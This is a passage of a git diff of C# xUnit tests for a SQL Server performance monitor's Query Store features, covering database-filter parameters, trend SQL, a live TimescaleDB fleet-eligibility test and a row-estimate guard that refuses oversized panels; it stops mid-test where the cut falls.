+            raw.Parameters.Add(new NpgsqlParameter<int> { TypedValue = PerformanceMonitor.Darling.Storage.TopFill.FirstCandidates(TestTop) });  /* #5313: the round's candidate limit, bound last */
             await raw.ExecuteNonQueryAsync(ct);
         }
 
@@ -314,9 +361,10 @@ private static async Task AssertRawEqualsTableAsync(
             table.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(tableStart, DateTimeKind.Unspecified) });
             table.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(WindowEnd, DateTimeKind.Unspecified) });
             table.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TestTop });
-            AddNullableText(table, null);
+            table.Parameters.Add(PerformanceMonitor.Darling.Storage.DatabaseFilter.All.Parameter());
             AddNullableText(table, executionType);
             AddNullableText(table, moduleName);
+            table.Parameters.Add(new NpgsqlParameter<int> { TypedValue = PerformanceMonitor.Darling.Storage.TopFill.FirstCandidates(TestTop) });  /* #5313: the round's candidate limit, bound last */
             await table.ExecuteNonQueryAsync(ct);
         }
 
@@ -341,9 +389,10 @@ private static async Task AssertRawEqualsTableAsync(
         command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(windowStart, DateTimeKind.Unspecified) });
         command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(windowEnd, DateTimeKind.Unspecified) });
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = TestTop });
-        AddNullableText(command, null);
+        command.Parameters.Add(PerformanceMonitor.Darling.Storage.DatabaseFilter.All.Parameter());
         AddNullableText(command, executionType);
         AddNullableText(command, moduleName);
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = PerformanceMonitor.Darling.Storage.TopFill.FirstCandidates(TestTop) });  /* #5313: the round's candidate limit, bound last */
         await using var reader = await command.ExecuteReaderAsync(ct);
         while (await reader.ReadAsync(ct))
         {
diff --git a/Darling/Darling.Tests/QueryStoreTopWebDefaultTests.cs b/Darling/Darling.Tests/QueryStoreTopWebDefaultTests.cs
index ce7f030bb3..0d6b53d771 100644
--- a/Darling/Darling.Tests/QueryStoreTopWebDefaultTests.cs
+++ b/Darling/Darling.Tests/QueryStoreTopWebDefaultTests.cs
@@ -34,7 +34,9 @@ public void GetQueryStoreTop_WebRowKeepsTheOld2000CharacterPreview()
     {
         var web = StripComments(ReadSource(WebEndpoints));
 
-        var marker = "[\"get_query_store_top\"] = (c, pg, an) => DarlingMcpDataTools.GetQueryStoreTop(";
+        /* #5245: the entry reads the chosen databases first (DatabaseNames(c) is { } databases ? ... : refusal), so the
+           marker is the call itself and the row ends at the refusal arm. */
+        var marker = "? DarlingMcpDataTools.GetQueryStoreTop(";
         var start = web.IndexOf(marker, StringComparison.Ordinal);
         Assert.True(start >= 0, "get_query_store_top's /api/read row was not found (renamed or moved?).");
         var end = web.IndexOf("),\r\n", start, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/QueryStoreTopWindowTests.cs b/Darling/Darling.Tests/QueryStoreTopWindowTests.cs
index 8c287ea33e..a2986adb2e 100644
--- a/Darling/Darling.Tests/QueryStoreTopWindowTests.cs
+++ b/Darling/Darling.Tests/QueryStoreTopWindowTests.cs
@@ -39,19 +39,22 @@ public class QueryStoreTopWindowTests
         "Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpDataTools.cs"));
 
     /// <summary>
-    /// The floor probe is bounded on BOTH sides of the window. Bounding the partitioning column is what lets
-    /// TimescaleDB exclude chunks; an unbounded <c>MIN</c> would read the retention window to answer a question
-    /// about it.
+    /// The floor probe walks the table's <c>(server_id, collection_time)</c> index in time order and stops at the
+    /// first row, so it reads one row, not the retention window, while being bounded only by the window's end. A
+    /// floor bounded below by the window's start called a quiet start a cut. The start bounds only the existence
+    /// check that keeps an empty window null.
     /// </summary>
     [Fact]
-    public void TheWindowFloorProbe_IsBoundedOnBothSides()
+    public void TheWindowFloorProbe_WalksTheIndexFromTheOldestRow_AndChecksTheWindowApart()
     {
         var sql = DarlingDataReader.QueryStoreWindowFloorSql;
 
-        Assert.Contains("MIN(collection_time)", sql, StringComparison.Ordinal);
-        Assert.Contains("FROM query_store_stats", sql, StringComparison.Ordinal);
-        Assert.Contains("collection_time >=", sql, StringComparison.Ordinal);
-        Assert.Contains("collection_time <=", sql, StringComparison.Ordinal);
+        Assert.Contains("FROM collect.query_store_stats AS f", sql, StringComparison.Ordinal);
+        Assert.Contains("AND   f.collection_time <= $3", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("f.collection_time >=", sql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY f.collection_time", sql, StringComparison.Ordinal);
+        Assert.Contains("LIMIT 1", sql, StringComparison.Ordinal);
+        Assert.Contains("AND   w.collection_time >= $2", sql, StringComparison.Ordinal);
     }
 
     /// <summary>
diff --git a/Darling/Darling.Tests/QueryStoreTrendIntervalRateTests.cs b/Darling/Darling.Tests/QueryStoreTrendIntervalRateTests.cs
index c92d2386e6..353b84aae4 100644
--- a/Darling/Darling.Tests/QueryStoreTrendIntervalRateTests.cs
+++ b/Darling/Darling.Tests/QueryStoreTrendIntervalRateTests.cs
@@ -54,7 +54,7 @@ public sealed class QueryStoreTrendIntervalRateTests
     {
         yield return ("ViewerDataService.QueryStoreDurationTrendSql", ViewerDataService.QueryStoreDurationTrendSql);
         yield return ("ViewerDataService.QueryStoreDurationTrendTableSql", ViewerDataService.QueryStoreDurationTrendTableSql);
-        yield return ("DarlingTrendReader.QueryStoreDurationTrendSql", DarlingTrendReader.QueryStoreDurationTrendSql);
+        yield return ("DarlingTrendReader.QueryStoreDurationTrendFilteredSql", DarlingTrendReader.QueryStoreDurationTrendFilteredSql);
     }
 
     private static IEnumerable<(string Name, string Sql)> AllCopies()
diff --git a/Darling/Darling.Tests/QueryStoreTrendRoutingTests.cs b/Darling/Darling.Tests/QueryStoreTrendRoutingTests.cs
index ea01d10cbf..0a2d484e13 100644
--- a/Darling/Darling.Tests/QueryStoreTrendRoutingTests.cs
+++ b/Darling/Darling.Tests/QueryStoreTrendRoutingTests.cs
@@ -268,8 +268,8 @@ depth plus a day. The +1 day ceiling is the engine's INTERVAL_LENGTH_MINUTES max
     [Fact]
     public void RawFallbackSql_KeepsItsSlab_Deliberately()
     {
-        Assert.Contains("collection_time >= $2 - interval '1 day'", DarlingTrendReader.QueryStoreDurationTrendSql, StringComparison.Ordinal);
-        Assert.Contains("collection_time <= $3 + interval '30 days'", DarlingTrendReader.QueryStoreDurationTrendSql, StringComparison.Ordinal);
+        Assert.Contains("collection_time >= $2 - interval '1 day'", DarlingTrendReader.QueryStoreDurationTrendFilteredSql, StringComparison.Ordinal);
+        Assert.Contains("collection_time <= $3 + interval '30 days'", DarlingTrendReader.QueryStoreDurationTrendFilteredSql, StringComparison.Ordinal);
         Assert.Contains("collection_time >= $2 - interval '1 day'", ViewerDataService.QueryStoreDurationTrendSql, StringComparison.Ordinal);
         Assert.Contains("collection_time <= $3 + interval '30 days'", ViewerDataService.QueryStoreDurationTrendSql, StringComparison.Ordinal);
     }
@@ -285,7 +285,7 @@ public void RawFallbackSql_KeepsItsSlab_Deliberately()
     [Fact]
     public void BothApps_ServeTheBuilderOutput_DifferingOnlyByTheDatabaseFilter()
     {
-        Assert.Equal(QueryStoreTrendRouting.BuildRollupTrendSql(withDatabaseFilter: false), DarlingTrendReader.QueryStoreDurationTrendRollupSql);
+        Assert.Equal(QueryStoreTrendRouting.BuildRollupTrendSql(withDatabaseFilter: true), DarlingTrendReader.QueryStoreDurationTrendRollupFilteredSql);
         Assert.Equal(QueryStoreTrendRouting.BuildRollupTrendSql(withDatabaseFilter: true), ViewerDataService.QueryStoreDurationTrendRollupSql);
 
         /* Strip the filter lines from the viewer's copy and the two must be byte-identical. */
@@ -293,12 +293,13 @@ public void BothApps_ServeTheBuilderOutput_DifferingOnlyByTheDatabaseFilter()
         var stripped = viewerSql
             .Replace("\n    AND   ($5::text[] IS NULL OR database_name = ANY($5))", "", StringComparison.Ordinal)
             .Replace("\n            AND   ($5::text[] IS NULL OR database_name = ANY($5))", "", StringComparison.Ordinal);
-        Assert.Equal(DarlingTrendReader.QueryStoreDurationTrendRollupSql, stripped);
+        Assert.Equal(QueryStoreTrendRouting.BuildRollupTrendSql(withDatabaseFilter: false), stripped);
 
         /* Every arm of the viewer's copy carries the filter: the rollup scan, the identified-interval arm,
            and the legacy arm — three occurrences, or one arm silently ignores the user's selection. */
         var occurrences = viewerSql.Split("$5::text[] IS NULL").Length - 1;
         Assert.Equal(3, occurrences);
-        Assert.DoesNotContain("$5", DarlingTrendReader.QueryStoreDurationTrendRollupSql, StringComparison.Ordinal);
+        Assert.Equal(viewerSql, DarlingTrendReader.QueryStoreDurationTrendRollupFilteredSql);
+        Assert.DoesNotContain("$5", QueryStoreTrendRouting.BuildRollupTrendSql(withDatabaseFilter: false), StringComparison.Ordinal);
     }
 }
diff --git a/Darling/Darling.Tests/QueryStoreWideFleetEligibilityLiveTests.cs b/Darling/Darling.Tests/QueryStoreWideFleetEligibilityLiveTests.cs
new file mode 100644
index 0000000000..4423af478f
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreWideFleetEligibilityLiveTests.cs
@@ -0,0 +1,227 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4605: a fleet Custom Views panel's table-eligibility check reads the store-wide chunk floors once, not once
+/// per server, and answers exactly what checking each server one after another answers.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]; works entirely inside its own scratch database. */
+public sealed class QueryStoreWideFleetEligibilityLiveTests
+{
+    private static readonly DateTime S = DateTime.SpecifyKind(DateTime.UtcNow.Date.AddDays(-6), DateTimeKind.Unspecified);
+
+    private static async Task<(ScratchPostgres Scratch, NpgsqlDataSource Postgres, NpgsqlConnection Connection)> SeedAsync(
+        string baseCs, int[] eligibleIds, int? legacyId, CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(baseCs, ct);
+        NpgsqlConnection? connection = null;
+        NpgsqlDataSource? postgres = null;
+        try
+        {
+        connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        Assert.True(await TimescaleSupport.TryEnableAsync(connection, null, ct), "TimescaleDB must be enabled on the test cluster");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+        var runner = new DarlingCollectorRunner(postgres, new CollectorDeltaCalculator());
+        var all = eligibleIds.Concat(legacyId is int l ? new[] { l } : Array.Empty<int>()).ToArray();
+        for (var i = 0; i < all.Length; i++)
+        {
+            var id = all[i];
+            if (id == legacyId)
+            {
+                await QueryStoreIntervalWideGridLiveTests.SeedGridLegacyAsync(runner, id, S, ct);
+            }
+            else
+            {
+                await QueryStoreIntervalWideGridLiveTests.SeedGridAsync(runner, id, S, ct);
+            }
+
+            await using var ins = new NpgsqlCommand(
+                "INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_major_version, created_date, modified_date) "
+                + $"VALUES ({id}, 'qsiw-fleetsrv-{(char)('a' + i)}', 'qsiw-fleetsrv-{(char)('a' + i)}', TRUE, 16, now(), now()) ON CONFLICT (server_id) DO UPDATE SET is_enabled = TRUE", connection);
+            await ins.ExecuteNonQueryAsync(ct);
+            await QueryStoreIntervalWideBelowFloorLiveTests.SeedQueryStoreLogAsync(connection, id, S.AddDays(-60), S.AddDays(4), null, null, ct);
+        }
+
+        /* Different read starts: servers 0 and 3 share the latest claim, so the tie goes to the lower server_id, qsiw-fleetsrv-d. */
+        for (var i = 0; i < eligibleIds.Length; i++)
+        {
+            var hours = i == 0 || i == 3 ? 14 : 12 + (i % 2);
+            await using var upd = new NpgsqlCommand(
+                $"UPDATE collect.query_store_interval_wide_coverage SET filled_since = TIMESTAMP '{S.AddHours(hours):yyyy-MM-dd HH:mm:ss}' WHERE server_id = {eligibleIds[i]}", connection);
+            await upd.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var drop = new NpgsqlCommand(
+            $"SELECT drop_chunks('collect.query_store_stats', older_than => TIMESTAMP '{S.AddDays(1):yyyy-MM-dd HH:mm:ss}')", connection);
+        await drop.ExecuteNonQueryAsync(ct);
+        return (scratch, postgres, connection);
+        }
+        catch
+        {
+            if (postgres is not null)
+            {
+                await postgres.DisposeAsync();
+            }
+
+            if (connection is not null)
+            {
+                await connection.DisposeAsync();
+            }
+
+            await scratch.DisposeAsync();
+            throw;
+        }
+    }
+
+    private static async Task<DateTime> EndAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var cmd = new NpgsqlCommand("SELECT MAX(applied_through) FROM collect.query_store_interval_wide_coverage", connection);
+        return (DateTime)(await cmd.ExecuteScalarAsync(ct))!;
+    }
+
+    /// <summary>The pre-change answer: each server resolved one after another, re-reading the floors every time.</summary>
+    private static async Task<(bool Eligible, DateTime? WideStart, QueryStoreIntervalWide.WideStartBound Bound, string? SettingServer)> SerialAsync(
+        NpgsqlConnection connection, DateTime end, CancellationToken ct)
+    {
+        var servers = new List<(int Id, string Name)>();
+        await using (var cmd = new NpgsqlCommand("SELECT server_id, server_name FROM collect.servers WHERE is_enabled ORDER BY server_id", connection))
+        await using (var reader = await cmd.ExecuteReaderAsync(ct))
+        {
+            while (await reader.ReadAsync(ct))
+            {
+                servers.Add((reader.GetInt32(0), reader.GetString(1)));
+            }
+        }
+
+        var wideStart = S;
+        var bound = QueryStoreIntervalWide.WideStartBound.Window;
+        string? setting = null;
+        foreach (var (id, name) in servers)
+        {
+            var plan = await QueryStoreIntervalWide.ResolveReadAsync(connection, id, S, end, end, TimeSpan.FromHours(12), 60, null, ct);
+            if (!plan.UseTable)
+            {
+                return default;
+            }
+
+            if (plan.ReadStart > wideStart)
+            {
+                wideStart = plan.ReadStart;
+                bound = plan.StartBound;
+                setting = name;
+            }
+        }
+
+        return (true, wideStart, bound, setting);
+    }
+
+    [Fact]
+    public async Task FleetCheck_ReadsTheStoreWideFloorsOnce_AndEqualsTheSerialAnswer_AcrossRepeatedRuns()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #4605 live test.");
+        var ct = TestContext.Current.CancellationToken;
+        var ids = new[] { -4605101, -4605102, -4605103, -4605104, -4605105, -4605106 };
+        var (scratch, postgres, connection) = await SeedAsync(baseCs!, ids, null, ct);
+        await using var _s = scratch;
+        await using var _c = connection;
+        await using var _p = postgres;
+        var end = await EndAsync(connection, ct);
+
+        var expected = await SerialAsync(connection, end, ct);
+        Assert.True(expected.Eligible);
+        Assert.Equal(S.AddHours(14), expected.WideStart);
+        Assert.Equal("qsiw-fleetsrv-d", expected.SettingServer);
+
+        /* Scoped to this scratch database by name, so a class running in parallel against another database is
+           invisible to the count. */
+        using var floorReads = new NpgsqlCommandCounter(scratch.DatabaseName, "raw_floor");
+        using var controlReads = new NpgsqlCommandCounter(scratch.DatabaseName, "fleet_floor_count_control");
+        await using (var control = postgres.CreateCommand("SELECT 1 AS fleet_floor_count_control"))
+        {
+            await control.ExecuteScalarAsync(ct);
+        }
+
+        Assert.True(controlReads.Count == 1,
+            $"The Npgsql activity listener counted {controlReads.Count} control commands on '{scratch.DatabaseName}' instead of 1, so its floors count would be meaningless.");
+
+        for (var run = 0; run < 20; run++)
+        {
+            var before = floorReads.Count;
+            var got = await DarlingWebEndpoints.ResolveQueryStoreWideEligibleAsync(postgres, null, S, end, end, ct);
+            Assert.Equal(expected, (got.Eligible, got.WideStart, got.Bound, got.SettingServer));
+            Assert.Equal(1, floorReads.Count - before);
+        }
+    }
+
+    [Fact]
+    public async Task FleetCheck_WhenTheFirstServerRefusesBeforeTheFloors_ReadsNoFloors_AndAnswersRaw()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #4605 live test.");
+        var ct = TestContext.Current.CancellationToken;
+        var ids = new[] { -4605301, -4605302, -4605303 };
+        var (scratch, postgres, connection) = await SeedAsync(baseCs!, ids, null, ct);
+        await using var _s = scratch;
+        await using var _c = connection;
+        await using var _p = postgres;
+        var end = await EndAsync(connection, ct);
+
+        /* A literal end before applied_through refuses at the step ahead of the floors read. */
+        var literalEnd = S.AddHours(13);
+        using var floorReads = new NpgsqlCommandCounter(scratch.DatabaseName, "raw_floor");
+        using var controlReads = new NpgsqlCommandCounter(scratch.DatabaseName, "fleet_floor_count_control");
+        await using (var control = postgres.CreateCommand("SELECT 1 AS fleet_floor_count_control"))
+        {
+            await control.ExecuteScalarAsync(ct);
+        }
+
+        Assert.True(controlReads.Count == 1,
+            $"The Npgsql activity listener counted {controlReads.Count} control commands on '{scratch.DatabaseName}' instead of 1, so its floors count would be meaningless.");
+
+        var got = await DarlingWebEndpoints.ResolveQueryStoreWideEligibleAsync(postgres, null, S, end, literalEnd, ct);
+        Assert.False(got.Eligible);
+        Assert.Equal(0, floorReads.Count);
+    }
+
+    [Fact]
+    public async Task FleetCheck_WithOneServerHoldingLegacyRows_ReadsRaw_LikeTheSerialAnswer()
+    {
+        var baseCs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #4605 live test.");
+        var ct = TestContext.Current.CancellationToken;
+        var ids = new[] { -4605201, -4605202, -4605203 };
+        var (scratch, postgres, connection) = await SeedAsync(baseCs!, ids, -4605204, ct);
+        await using var _s = scratch;
+        await using var _c = connection;
+        await using var _p = postgres;
+        var end = await EndAsync(connection, ct);
+
+        Assert.Equal(default, await SerialAsync(connection, end, ct));
+        var got = await DarlingWebEndpoints.ResolveQueryStoreWideEligibleAsync(postgres, null, S, end, end, ct);
+        Assert.False(got.Eligible);
+        Assert.Null(got.WideStart);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreWideReadGuardTests.cs b/Darling/Darling.Tests/QueryStoreWideReadGuardTests.cs
new file mode 100644
index 0000000000..c15307e0bb
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreWideReadGuardTests.cs
@@ -0,0 +1,385 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5582: the refusal of a composed Query Store panel whose wide-table read cannot finish inside the compose statement
+/// timeout. The pure half (the estimate arithmetic and the message) first; the live half after it runs the refusal through
+/// every path that runs a composed panel: the shared runner (behind the web endpoint) and the MCP tool
+/// <c>run_custom_view_panel</c>.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class QueryStoreWideReadGuardTests
+{
+    private static readonly DateTime Start = new(2026, 8, 1, 0, 0, 0, DateTimeKind.Unspecified);
+
+    [Fact]
+    public void TheLimits_AreTheFieldColdRate_At75PercentOfTheStatementTimeout()
+    {
+        /* S4: 8,457,483 rows cold in 55.2 s, 6.53 us per row. The budget is 45 s, 75% of the 60 s timeout (three cold runs differed by 14%). */
+        const double coldPerRow = 55.215d / 8_457_483d;
+        const double budget = 60d * 0.75d;
+        Assert.Equal("60s", ComposeLimits.StatementTimeout);
+
+        var oneScan = budget / coldPerRow;
+        Assert.InRange(ComposeLimits.MaxQueryStoreWideRows, oneScan * 0.98d, oneScan);
+        Assert.Equal(6_800_000L, ComposeLimits.MaxQueryStoreWideRows);
+
+        /* Two scans: 6.53 cold first scan + 0.13 hash aggregate + 1.54 warm second scan = 8.19 us per row. */
+        var twoScans = budget / ((6.53d + 0.13d + 1.54d) / 1_000_000d);
+        Assert.InRange(ComposeLimits.MaxQueryStoreWideRowsTwoScans, twoScans * 0.98d, twoScans);
+        Assert.Equal(5_400_000L, ComposeLimits.MaxQueryStoreWideRowsTwoScans);
+
+        /* The old limit, 9.4 million, takes 61.4 s cold at the field rate: over the timeout. */
+        Assert.True(9_400_000d * coldPerRow > 60d, "the old limit is over the timeout at the field rate");
+        Assert.True(ComposeLimits.MaxQueryStoreWideRows * coldPerRow < budget);
+    }
+
+    [Fact]
+    public void TheWeightAndTheBaseRowBound_AreThePinnedFigures()
+    {
+        Assert.Equal(0.3d, ComposeLimits.StampRowWeight);
+        Assert.Equal(1_000_000L, ComposeLimits.MaxSingleScanBaseRows);
+
+        /* 436 bytes of temp per base row against the 1 GB limit: the bound is 43% of it, and 3 million rows would pass it. */
+        Assert.True(ComposeLimits.MaxSingleScanBaseRows * 436L < 1_000_000_000L * 0.5d);
+        Assert.True(100L * 30_000L * 436L > 1_000_000_000L);
+    }
+
+    [Fact]
+    public void OverTheLimit_RefusesWithTheCountServersAndWindow()
+    {
+        var message = QueryStoreWideReadGuard.Refusal(new QueryStoreWideReadGuard.Estimate(12_000_000, 43), Start, Start.AddDays(1));
+
+        Assert.Equal(
+            "This panel needs about 12 million Query Store rows (43 servers, 1 day), over the limit of 6.8 million. Choose fewer servers or a shorter window.",
+            message);
+    }
+
+    [Fact]
+    public void TheEstimate_ScalesWithTheCountedRange_NotTheWindowTheCallerAsked()
+    {
+        var estimate = new QueryStoreWideReadGuard.Estimate(3_000_000, 10);
+
+        Assert.Null(QueryStoreWideReadGuard.Refusal(estimate, Start, Start.AddDays(2)));
+        Assert.Equal(
+            "This panel needs about 9 million Query Store rows (10 servers, 3 days), over the limit of 6.8 million. Choose fewer servers or a shorter window.",
+            QueryStoreWideReadGuard.Refusal(estimate, Start, Start.AddDays(3)));
+
+        /* The same window with the counted range cut to the newest day: under the limit, so no refusal. */
+        Assert.Null(QueryStoreWideReadGuard.Refusal(estimate, Start.AddDays(2), Start.AddDays(3)));
+    }
+
+    [Fact]
+    public void AtOrUnderTheLimit_NeverRefuses()
+    {
+        var atLimit = new QueryStoreWideReadGuard.Estimate(ComposeLimits.MaxQueryStoreWideRows, 5);
+        Assert.Null(QueryStoreWideReadGuard.Refusal(atLimit, Start, Start.AddDays(1)));
+        Assert.NotNull(QueryStoreWideReadGuard.Refusal(new QueryStoreWideReadGuard.Estimate(ComposeLimits.MaxQueryStoreWideRows + 1, 5), Start, Start.AddDays(1)));
+
+        /* The fleet day that took 55 s cold on the large store is refused by the one-scan limit (before the stamp covers it). */
+        Assert.NotNull(QueryStoreWideReadGuard.Refusal(new QueryStoreWideReadGuard.Estimate(8_457_483, 43), Start, Start.AddDays(1)));
+    }
+
+    [Fact]
+    public void NoEstimate_OrNoServerWithABuiltDay_NeverRefuses()
+    {
+        Assert.Null(QueryStoreWideReadGuard.Refusal(null, Start, Start.AddDays(30)));
+        Assert.Null(QueryStoreWideReadGuard.Refusal(new QueryStoreWideReadGuard.Estimate(0, 0), Start, Start.AddDays(30)));
+        Assert.Null(QueryStoreWideReadGuard.Refusal(new QueryStoreWideReadGuard.Estimate(long.MaxValue, 0), Start, Start.AddDays(30)));
+    }
+
+    [Theory]
+    [InlineData(1, "1 server")]
+    [InlineData(2, "2 servers")]
+    public void TheServerCount_AgreesInNumber(int servers, string expected)
+    {
+        var message = QueryStoreWideReadGuard.Refusal(new QueryStoreWideReadGuard.Estimate(ComposeLimits.MaxQueryStoreWideRows * 2, servers), Start, Start.AddDays(1));
+        Assert.Contains("(" + expected + ", ", message, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(12, "12 hours")]
+    [InlineData(36, "36 hours")]
+    [InlineData(24, "1 day")]
+    [InlineData(72, "3 days")]
+    public void TheWindow_IsWholeDaysOrHours(int hours, string expected)
+    {
+        var message = QueryStoreWideReadGuard.Refusal(new QueryStoreWideReadGuard.Estimate(ComposeLimits.MaxQueryStoreWideRows * 10, 3), Start, Start.AddHours(hours));
+        Assert.Contains(", " + expected + ")", message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheEstimateSql_TakesEachServersMostRecentBuiltDay_OfTheServersInScope_DisabledOnesIncluded()
+    {
+        var sql = QueryStoreWideReadGuard.PerServerRowsSql;
+        Assert.Contains("collect.query_store_top_daily_built", sql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY d.day DESC", sql, StringComparison.Ordinal);
+        Assert.Contains("LIMIT 1", sql, StringComparison.Ordinal);
+        /* The compiled wide read joins collect.servers with no is_enabled predicate, so the estimate counts a disabled server too. */
+        Assert.DoesNotContain("is_enabled", sql, StringComparison.Ordinal);
+        Assert.Contains("s.server_name = ANY($1)", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ARankedTimeSeriesPanelThatScansTwice_GetsTheTwoScanLimit_AndTheMessageNamesIt()
+    {
+        Assert.Equal(ComposeLimits.MaxQueryStoreWideRows, QueryStoreWideReadGuard.LimitFor(false));
+        Assert.Equal(ComposeLimits.MaxQueryStoreWideRowsTwoScans, QueryStoreWideReadGuard.LimitFor(true));
+        var estimate = new QueryStoreWideReadGuard.Estimate(6_000_000, 43);
+        Assert.Null(QueryStoreWideReadGuard.Refusal(estimate, Start, Start.AddDays(1), QueryStoreWideReadGuard.LimitFor(false)));
+        Assert.Equal(
+            "This panel needs about 6 million Query Store rows (43 servers, 1 day), over the limit of 5.4 million. Choose fewer servers or a shorter window.",
+            QueryStoreWideReadGuard.Refusal(estimate, Start, Start.AddDays(1), QueryStoreWideReadGuard.LimitFor(true)));
+    }
+
+    /* A fleet day after the build: 8.46 million wide rows in the day, the newest 2.5 hours not yet stamped. The first 21.5 hours
+       count at 0.3 and the tail at 1.0. */
+    private static readonly QueryStoreWideReadGuard.Estimate FleetDay = new(8_457_483, 43);
+    private static readonly DateTime StampedThrough = Start.AddHours(21.5d);
+
+    [Fact]
+    public void AFleetDayWithATail_CountsTheStampedHoursAtTheWeight_AndPassesBothLimits()
+    {
+        var rows = FleetDay.RowsOver(Start, Start.AddDays(1), StampedThrough);
+        /* 2.5/24 x 8.46 M = 0.88 M wide + 0.3 x 7.57 M = 3.15 M, as the design derived it. */
+        Assert.InRange(rows, 3_100_000L, 3_200_000L);
+        Assert.Null(QueryStoreWideReadGuard.Refusal(FleetDay, Start, Start.AddDays(1), QueryStoreWideReadGuard.LimitFor(false), StampedThrough));
+        Assert.Null(QueryStoreWideReadGuard.Refusal(FleetDay, Start, Start.AddDays(1), QueryStoreWideReadGuard.LimitFor(true), StampedThrough));
+    }
+
+    [Fact]
+    public void TwoStampedDays_PassOneScanAndFailTwo_AndThreeDaysFailBoth()
+    {
+        /* Two days with the same 2.5 h tail: 5.7 million equivalent rows. */
+        var twoDays = Start.AddDays(2);
+        var throughTwo = twoDays.AddHours(-2.5d);
+        Assert.InRange(FleetDay.RowsOver(Start, twoDays, throughTwo), 5_600_000L, 5_800_000L);
+        Assert.Null(QueryStoreWideReadGuard.Refusal(FleetDay, Start, twoDays, QueryStoreWideReadGuard.LimitFor(false), throughTwo));
+        Assert.NotNull(QueryStoreWideReadGuard.Refusal(FleetDay, Start, twoDays, QueryStoreWideReadGuard.LimitFor(true), throughTwo));
+
+        /* Three days: 8.2 million, refused by both. */
+        var threeDays = Start.AddDays(3);
+        var throughThree = threeDays.AddHours(-2.5d);
+        Assert.InRange(FleetDay.RowsOver(Start, threeDays, throughThree), 8_100_000L, 8_300_000L);
+        Assert.NotNull(QueryStoreWideReadGuard.Refusal(FleetDay, Start, threeDays, QueryStoreWideReadGuard.LimitFor(false), throughThree));
+        Assert.NotNull(QueryStoreWideReadGuard.Refusal(FleetDay, Start, threeDays, QueryStoreWideReadGuard.LimitFor(true), throughThree));
+    }
+
+    [Fact]
+    public void TheStampThrough_IsClamped_AndNoStampThroughIsTodaysFigure()
+    {
+        var end = Start.AddDays(1);
+        var unweighted = FleetDay.RowsOver(Start, end);
+        Assert.Equal(unweighted, FleetDay.RowsOver(Start, end, null));
+        Assert.Equal(unweighted, FleetDay.RowsOver(Start, end, Start));                    /* nothing stamped */
+        Assert.Equal(unweighted, FleetDay.RowsOver(Start, end, Start.AddHours(-5)));       /* before the range */
+        var allStamped = FleetDay.RowsOver(Start, end, end);
+        Assert.Equal(FleetDay.RowsOver(Start, end, end.AddDays(3)), allStamped);           /* past the range */
+        Assert.InRange(allStamped, (long)(unweighted * 0.3d) - 1, (long)(unweighted * 0.3d) + 2);
+    }
+
+    [Fact]
+    public void AWeightedRefusal_NeverCallsTheFigureRows_AndNamesTheServersTheWindowAndWhatToChange()
+    {
+        var through = Start.AddDays(3).AddHours(-2.5d);
+        var message = QueryStoreWideReadGuard.Refusal(FleetDay, Start, Start.AddDays(3), QueryStoreWideReadGuard.LimitFor(false), through)!;
+        Assert.Equal(
+            "This panel reads too much Query Store history to finish inside the time limit (43 servers, 3 days). Choose fewer servers or a shorter window.",
+            message);
